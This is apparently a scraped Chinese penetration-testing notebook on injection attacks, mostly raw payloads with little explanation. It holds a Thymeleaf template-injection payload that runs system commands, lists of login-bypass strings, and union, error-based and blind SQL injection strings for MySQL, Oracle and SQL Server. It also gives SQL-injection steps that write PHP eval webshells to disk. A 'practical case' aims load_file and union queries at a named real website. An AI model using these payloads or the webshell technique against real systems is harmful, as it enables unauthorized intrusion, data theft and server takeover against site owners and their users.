渗透测试-注入攻击专题

渗透测试- 注入

Neo4j

是一个高性能的,NOSQL图形数据库,
它将结构化数据存储在网络上而不是表中。
它是一个嵌入式的、基于磁盘的、具备完全的事务特性的Java持久化引擎,
但是它将结构化数据存储在网络(从数学角度叫做图)上而不是表中。

neo4j.bat console

ACCESS


payload 
?id=1+and+select   探测waf


?id=abcd
access数据库不支持报错注入(不报错),也不能利用注释-是否报错来进行一个盲注


语句结构
?id=1+and+exists(


select后面不能直接跟任何占位空字符(%0d,%0a,%0c,%20,' ')    -ACCESS  遇到后端加正则
select(xxx)可以绕过这个逻辑
?id=1+and+exists(查询数据的语句)
通过盲注暴力猜解数据
?id=1+and+exists(sElect(1)+from+admin)
错误信息回显

ORM注入

SSTI 服务器端模板注入(Server-Side Template Injection)




 
比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式

跟Spring boot的版本有关,其默认自带的Thymeleaf版本有关。

spring boot:1.5.1.RELEASE spring-boot-starter-thymeleaf:2.1.5
spring boot:2.0.0.RELEASE spring-boot-starter-thymeleaf:3.0.9
spring boot:2.2.0.RELEASE spring-boot-starter-thymeleaf:3.0.11 

Thymeleaf模板注入

https://zhuanlan.zhihu.com/p/248416919

 payload 必须包裹在 __...__ 之中,且后面加上 :: ,及 .string 。
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

5、防御

1.1. 方法上配置 @ResponseBody 或者 @RestController

这样 spring 框架就不会将其解析为视图名,而是直接返回。不配置的话 SpringMVC 会将业务方法的返回值传递给 DispatcherServlet ,再由DispatcherServlet 调用 ViewResolver 对返回值进行解析,映射到一个 view 资源。
@RestController 表示该控制器会直接将业务方法的返回值响应给客户端,不进行视图解析。它内部继承了 @ResponseBody 。
1.2. 在返回值前面加上 "redirect:"

这样不再由 Spring ThymeleafView来进行解析,而是由 RedirectView 来进行解析。
1.3. 在方法参数中加上 HttpServletResponse 参数

这样 spring 会认为已经处理了 response ,无须再去进行视图名的解析。在 ServletResponseMethodArgumentResolver 类中检查了此参数。

万能密码

  

' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1



asp aspx万能密码
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17…admin’ or ‘a’=’a 密码随便



PHP万能密码
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1
 
jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*

POST /WebService/InterfaceForJN/search_realdata.asmx HTTP/1.1
Host: 60.x.x.x:8001
Accept-Encoding: gzip, deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: "http://tempuri.org/GetRealData"
Content-Length: 508
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
      <tem:GetRealData>
         <!--Optional:--><tem:cityname>1*</tem:cityname>
         <!--Optional:-->
         <tem:subname>1</tem:subname>
         <!--Optional:-->
         <tem:subid>1</tem:subid>
         <!--Optional:-->
         <tem:wastetype>1</tem:wastetype>
      </tem:GetRealData>
   </soapenv:Body>
</soapenv:Envelope>





https://www.bilibili.com/read/cv6562645/
【sql injection】

https://mp.weixin.qq.com/s/8grPMYzNbwhgRRDcE57U7Q


order by
/**/
boolen等式  能够被带入查询语句并显示不同效果
当条件不符合时,71-false=71,显示71.html,无数据

http://EDU_SITE/.../..._id/71-false.html

=> SELECT ..FROM .. WHERE ... AND _id=71-false


获取用户名长度
http://EDU_SITE/.../..._id/71-(length(user())=12).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(user())=12)

获取数据库长度
http://EDU_SITE/.../..._id/71-(length(database())=6).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(database())=6)

burpsuite的clusterboom模式对database进行爆破


【SQL注入 getshell】

写文件--into outfile

前提:
网站的绝对路径
没有对引号进行过滤
文件必须有写的权限




union select getshell
payload:1' union select 1,'<?php eval("$_POST[2]")?>',3 into outfile 'd:/phpstudy_pro/www/1.php'--+




lines terminated by 

        lines terminated by 该语句是设置每行数据结尾的字符,可以设置为单个或多个字符,默认为“/n”;
        
payload: ?id=1' into outfile 'd:/phpstudy_pro/www/2.php'lines terminated by'<?php eval("$_POST[8]")?>'--+3.





lines starting getshell
lines starting getshell该语句为设置每行开头的字符

payload:?id=1' into outfile 'd:/phpstudy_pro/www/3.php'lines starting by'<?php eval("$_POST[8]")?>'--+ 





fields terminated getshell
fields terminated by 设置字段之间的分隔符,默认值是"\t"

payload:?id=1')) into outfile'd:/phpstudy_pro/www/4.php' fields terminated by '<?php eval("$_POST[8]")?>'--+ 






COLUMNS terminated getshell
COLUMNS terminated by 设置字段之间的分隔符,默认值是"\t"

payload:?id=1')) into outfile'd:/phpstudy_pro/www/6.php' COLUMNS terminated by'<?php eval("$_POST[4]")?>'--+ 


getshell-数据表getshell
前提:需要将shell内容插入数据表中,在将表内容写成可执行文件,所以要想利用它getshell,一般数据库有堆叠注入或phpmyadmin或有一个数据库的基本权限才能getshell。

payload:id=1';insert into users(username,password) values('<?php eval("','$_POST[2]")?>')--+ 





getshell-日志getshell
7.1 开启全局日志配置

payload:?id=1';set global general_log = on;--+

7.2设置日志路径(webshell路径)

id=1';set global general_log_file = 'd:/phpStudy_pro/WWW/8.php';--+

7.3写入木马病毒

id=1';select '<?php eval("$_POST[2]")?>';--+

payload: 


 【waf  绕过】

漏洞介绍

Sql Inject(SQL注入)概述 哦,SQL注入漏洞,可怕的漏洞。
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞, 其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,
导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

测试方法

第一步:SQL注入点探测。
探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。
通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。
如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。
一般通过页面的报错信息来确定是否存在SQL注入漏洞。

第二步:收集后台数据库信息。
不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。
判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;
还可以使用特定函数来判断,
比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,
而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。

第三步:猜解用户名和密码。
数据库中的表和字段命名一般都是有规律的。
通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。

第四步:查找Web后台管理入口。
WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。

第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。

sql手工注入

@apache+php+Mysql 正则注入

0x01 Mysql 手工注入

1.1 联合注入

 
?id=1' order by 4--+

?id=0' union select 1,2,3,database()--+

?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+

?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name

?id=0' union select 1,2,3,group_concat(password) from users --+
#group_concat 可替换为 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1--+

1.2 报错注入




爆数据库版本信息
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

链接用户
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

链接数据库
?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

爆库
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆表
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段内容
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)


爆表名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段
?id=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#





1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
每个一个报错语句都有它的原理:

exp() 报错的原理:
	exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,
	然后 ~ 取反它的值总会大于709,	
	所以报错。

updatexml() 报错的原理:
	由于 updatexml 的第二个参数需要 Xpath 格式的字符串,
	以 ~ 开头的内容不是 xml 格式的语法,	
	concat() 函数为字符串连接函数显然不符合规则,
	但是会将括号内的执行结果以错误的形式报出,
	这样就可以实现报错注入了。
 
爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +

爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +

爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +

爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +

#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)

这里需要注意的是它加了连接字符,
导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:

substr(string string,num start,num length);
#string为字符串,start为起始位置,length为长度

?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +

1.3 盲注

1.3.1 时间盲注

时间盲注也叫延时注入
一般用到函数 sleep() BENCHMARK()
还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)

一般时间盲注我们还需要使用条件判断函数

 
#if(expre1,expre2,expre3)
当 expre1 为 true 时,返回 expre2,false 时,返回 expre3

#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left

我们一般喜欢把分割的函数编码一下,
当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii() hex() 等等

 
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

1.3.2 布尔盲注

 
?id=1' and substr((select user()),1,1)='r' -- +
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值

?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1

1.4 insert,delete,update

insert,delete,update 主要是用到盲注和报错注入,
此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,
一般这种注入会出现在
注册、ip头、留言板等等需要写入数据的地方,
同时这种注入不报错一般较难发现,

我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,
然后如果插入失败,更新失败,
然后深入测试确定是否存在注入

1.4.1 报错

 
mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id   | username                                      | password |
+------+-----------------------------------------------+----------+
|    1 | admin                                         | admin    |
|    1 | and 1=1                                       | admin    |
|    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin    |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)

mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

#delete 注入很危险,很危险,很危险,切记不能使用 or 1=1or 右边一定要为false
mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

1.4.2 盲注

 #int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等
mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)

mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)

#字符型注意闭合不能使用and
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)

mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)

# delete 函数 or 右边一定要为 false
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)

#update 更新数据内容
mysql> select * from admin;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | admin    | admin    |
+------+----------+----------+
4 rows in set (0.00 sec)

mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4  Changed: 4  Warnings: 0

1.5 二次注入与宽字节注入

二次注入的语句:
在没有被单引号包裹的sql语句下,
我们可以用16进制编码他,这样就不会带有单引号等。

 
mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+----+-----------+-------+
| id | name      | pass  |
+----+-----------+-------+
|  1 | admin     | admin |
|  2 | admin'111 | 11111 |
|  3 | admin'--+ | 11    |
+----+-----------+-------+
4 rows in set (0.00 sec)

二次注入在没有源码的情况比较难发现,
通常见于注册,登录恶意账户后,
数据库可能会因为恶意账户名的问题,将 admin’–+ 误认为 admin 账户

宽字节注入:

针对目标做了一定的防护,
单引号转变为 \' , mysql 会将 \ 编码为 %5c ,

宽字节中两个字节代表一个汉字,
所以 把 %df 加上 %5c 就变成了一个汉字“運”,
使用这种方法成功绕过转义,就是所谓的宽字节注入

 id=-1%df' union select...

#没使用宽字节
%27 -> %5C%27

#使用宽字节
%df%27 -> %df%5c%27 -> 運'

0x00000000000000 - 杂技

MySQL注入思路:
1.判断注入点是否有读写权限
有 读取配置文件、用户名密码等;
magic_quotes_gpc为off ,直接导出一句话webshell。
//magic_quotes_gpc为on的时候,‘会被转成’,而写导出的绝对路径的时候又必须是用’括起

没有

判断MySQL版本,5.0以上
通过爆 获得用户名密码;
5.0以下或者5.0以上不能爆(比如限制了information_schema数据库)
盲注获得用户名密码。

//盲注: 通过返回页面的正确与否判断查询语句是否正确, 类似 Access数据库的注入

一个参数可能执行了多个查询语句
导致查不出字段数、没有数字回显
服务器开启了MySQL错误回显的话, 通过报错注入从报错信息中获取信息

MySQL数据库5.X版本的爆表爆列爆内容。
步骤一:判断注入点
单引号、and 1=1、and 1=2。

步骤二:order by和union select
通过order by查出字段数目N,然后联合查询。
and1=2 union select 1,2,3,4…,N–
//首先and 1=2报错,用单引号或在参数前加个"-“也行
// 和Access不同,后面可以不加"from 表名”;
最后面的"–“是注释符,注释掉后面的语句,防止出错,换成”/*"也行,也可以不加
//Access不支持注释符,MySQL和MSSQL支持

步骤三:查出基本信息
得到数字回显后,将对应数字位换成我们想查询的信息,比如显示位是3
and1=2 union select 1,2,version(),4…,N–

//介绍几个常用函数:

  1. version()——MySQL版本
  2. user()——用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作 系统 版本

我们可以通过将对应函数放到显示位中查出相应信息

查找信息函数:

  1. concat(str1,str2,…)——没有分隔符地连接字符串
  2. concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
  3. group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据

比如:concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
concat_ws(0x3a,version(),user(),database(),@@datadir,@@verion_compile_os)
group_concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
//0x3a是":"的十六进制,作为分隔符 //防止连成一片
//在实际查的时候, 去掉 出错函数
比如@@verion_compile_os这个函数就经常出错

// MySQL官方手册http://dev. mysql .com/doc/

步骤四:爆表 爆列 爆用户名/密码

第一种:查表查列

  1. and 1=2 union select 1,2,table_name,4 from (select * from information_schema.tables where table_schema=库名十六进制 limit N,1)t limit 1–

  2. and 1=2 union select 1,2,column_name,4 from (select * from information_schema.columns where table_name=表名十六进制 and table_schema=库名十六进制 limit N,1)t limit 1–

  3. and 1=2 union select 1,2,列名,4 from 表名

//改变N的值,查出一个个表名、列名

第二种:高级查表查列

  1. and 1=2 union select 1,2,schema_name,4 from information_schema.schemata limit N,1
  2. and 1=2 union select 1,2,table_name,4 from information_schema.tables where table_schema=要查的库名的十六进制 limit N,1
  3. and 1=2 union select 1,2,column_name,4 from information_schema.columns where table_name=要查的表名的十六进制 limit N,1

//技巧:查的库名的十六进制那个地方填database(),就是table_schema=database(),直接就表示当前数据库
//找敏感的表,含有admin、manage或user之类的

第三种:爆表爆列

  1. and 1=2 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
  2. and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=要爆的库名的十六进制
  3. and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=要爆的表名的十六进制
  4. and 1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名

//distinct表示不同,去掉爆出内容的重复部分,//可有可无
//在通过用group_concat()这个函数直接爆出所有库名、表名、列名、字段内容,可以提高速度,方便查找

第四种:高级爆表爆列

  1. and 1=2 union select 1,2,group_concat(distinct table_schema),4 from information_schema.columns
  2. and 1=2 union select 1,2,group_concat(distinct table_name),4 from information_schema.columns where table_schema=要爆的库名的十六进制
  3. and 1=2 union select 1,2,group_concat(distinct column_name),4 from information_schema.columns where table_name=要爆的表名的十六进制
  4. and 1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名

// (http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html)
//数据从information_schema.columns表里获取
information_schema.columns这个表里,
table_schema、table_name、column_name列
直接通过这个表,查出我们需要的所有信息,就省了换表这一步了,进一步提升速度

到这一步,我们的注入就算完成了,找后台解密登陆就是了。

  1. 当union select 1,2,3,4没有出现数字位时,
    把数字都换成null
    逐个尝试替换成数字或字符或直接换成version(),
    找到可以显示出来的那一位。貌似是因为对应变量类型不同的原因,

  2. 有些时候莫名其妙的就出错的时候(比如有数字显示位,而用替换函数(比如version())去替换时却返回空白页或报错)
    爆不出来的时候
    通过hex()或convert()等函数来
    解决可能的编码问题,比如hex(version())、unhex(hex(version()))、convert(version() using latin1)等等

  3. 把空格换成"+“或者”/**/"
    空格会被自动转成"%20",看着很乱,而且换过以后貌似能过一些过滤。

  4. 网站有过滤的时候,大小写变换绕过。
    /!select/,把容易被过滤的东西放到/!XXX/中
    一样可以正常查询,也就是/!select/=select。如果你还不放心那就这样/!sEleCt/

@Oracle

 用户名 / 密码 /登录身份/ 说明
sys/change_on_install	SYSDBA 或 SYSOPER	不能以 NORMAL 登录,可作为默认的系统管理员
system/manager	SYSDBA 或 NORMAL	不能以 SYSOPER 登录,可作为默认的系统管理员
sysman/oem_temp	 	 sysman 为 oms 的用户名
scott/tiger	NORMAL	普通用户
aqadm /aqadm	SYSDBA 或 NORMAL	高级队列管理员
Dbsnmp/dbsnmp	SYSDBA 或 NORMAL	复制管理员sysman 为 oms 的用户名
scott/tiger	NORMAL	普通用户
aqadm /aqadm	SYSDBA 或 NORMAL	高级队列管理员
Dbsnmp/dbsnmp	SYSDBA 或 NORMAL	复制管理员 

0x01 联合注入

 ?id=-1' union select user,null from dual--
?id=-1' union select version,null from v$instance--
?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
?id=-1' union select username,passwd from users--
?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--

0x02 报错注入

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--

0x03 盲注

布尔盲注

既然是盲注,那么肯定涉及到条件判断语句,
Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。
语法:
decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值);

该函数的含义如下:


IF 条件=1 THEN
    RETURN(返回值1)
ELSIF 条件=2 THEN
    RETURN(返回值2)
    ......
ELSIF 条件=值n THEN
    RETURN(返回值n)
ELSE
    RETURN(缺省值)
END IF
 ?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--
?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
?id=1' and ascii(substr(user,1,1))> 64--  #二分法

时间盲注

可使用DBMS_PIPE.RECEIVE_MESSAGE(‘任意值’,延迟时间)函数进行时间盲注,
这个函数可以指定延迟的时间

 
?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--

@SQL server





0x01 联合注入

?id=-1' union select null,null--
?id=-1' union select @@servername, @@version--
?id=-1' union select db_name(),suser_sname()--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---
?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--

0x02 报错注入

?id=1' and 1=(select 1/@@servername)--
?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--

0x03 盲注

 1 布尔盲注
?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--
2 时间盲注
?id= 1';if(2>1) waitfor delay '0:0:5'--
?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) wai

mysql4.0注入实战

 SELECT user() 
 select database() 
 select version()
 
SELECT * FROM information_schema.SCHEMATA

 select table_name from information_schema.tables where table_schema='db_name' 
 // 当前数据库 db_name  所有表  


 




在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

 http://www.cowinbio.com/



属于mysql4.0 注入一个实例

路径:/usr/local/webroot/cw/product/introduction.php

mywebmanage/conn.php

http://www.cowinbio.com/product/introduction.php?id=-65 union select load_file('/usr/local/webroot/cw/product/introduction.php'),2

http://www.cowinbio.com/product/introduction.php?id=65%20order%20by%202

http://www.cowinbio.com/product/introduction.php?id=65 union select 1,2

version():4.1.22-standard
user():root@localhost
database():cw

http://www.cowinbio.com/product/introduction.php?id=65 union select 1,2 

load_file()

sqlmap -u url注入地址 --sql-shell 执行sql命令




mysql5.0  

into outfile 
information

渗透测试基础-sql注入

在这里插入图片描述

  • 绕过 waf
  • 写shell

概念

sql注入指 web应用 对用户输入数据 合法性没有判断
前后端 输入参数 攻击者 可控
参数带入数据库 进行查询
攻击者 构造 不同 语句 对 数据库进行操作。

详情: 注入 空格 漏洞 空格


本质

输入输出控制
将用户输入 数据 当做 sql 语句执行 的关键条件

  • 参数用户可控
  • 参数带入数据库查询

eg:繁多 复杂信息 的查询
存放地点: 数据库
查询方法:url参数带入查询
即 :.asp?id=
.php?id=

发布者:admin

参数带入 加入语句被执行

iis + asp
apache + php
nginx + java
aspx 由asp.net语言开发的网页
快速创建动态Web网站的技术
使用C#(或者vb.net)为开发语言
-------------------------------------------------------- 判断注入点
在这里插入图片描述

url 查询处?xxx=xx 加

’ 正常报错 存在注入漏洞

and 1=1 正常返回页面
and 直接返回页面 过滤了and

or 1=1 正常返回页面
or 没有返回页面 没有过滤or
or 1 没有返回 即没有过滤or 也没有过滤1
or 1=1 直接返回 过滤了等号

or的特性 与 and相反
or 1=1 爆错 或 与原页面不同
or 1=2 原页面相同
这样就是一个注入点

过滤了=号 我就用><号代替=号

or 1<2 很明显是正确的,所以应该与原页面不同
or 1>2 很明显是错误的,所以应该与原页面相同
然后看看有没有过滤其他的查询语句,比如select.
加select 直接返回主页

-------------------------------------------------> 原理
参数 and 和 (并且)
1 = 1
相当于 数据库执行 计算 1 = 1 (页面不出错)
1 = 2 (页面不正常)

说明了 and 确实被 ?参数代入 数据库交互当做sql语句处理过

手动注入基本知识

在这里插入图片描述

实战演练

  • 猜测字段 order by 10 (猜测有10个字段)

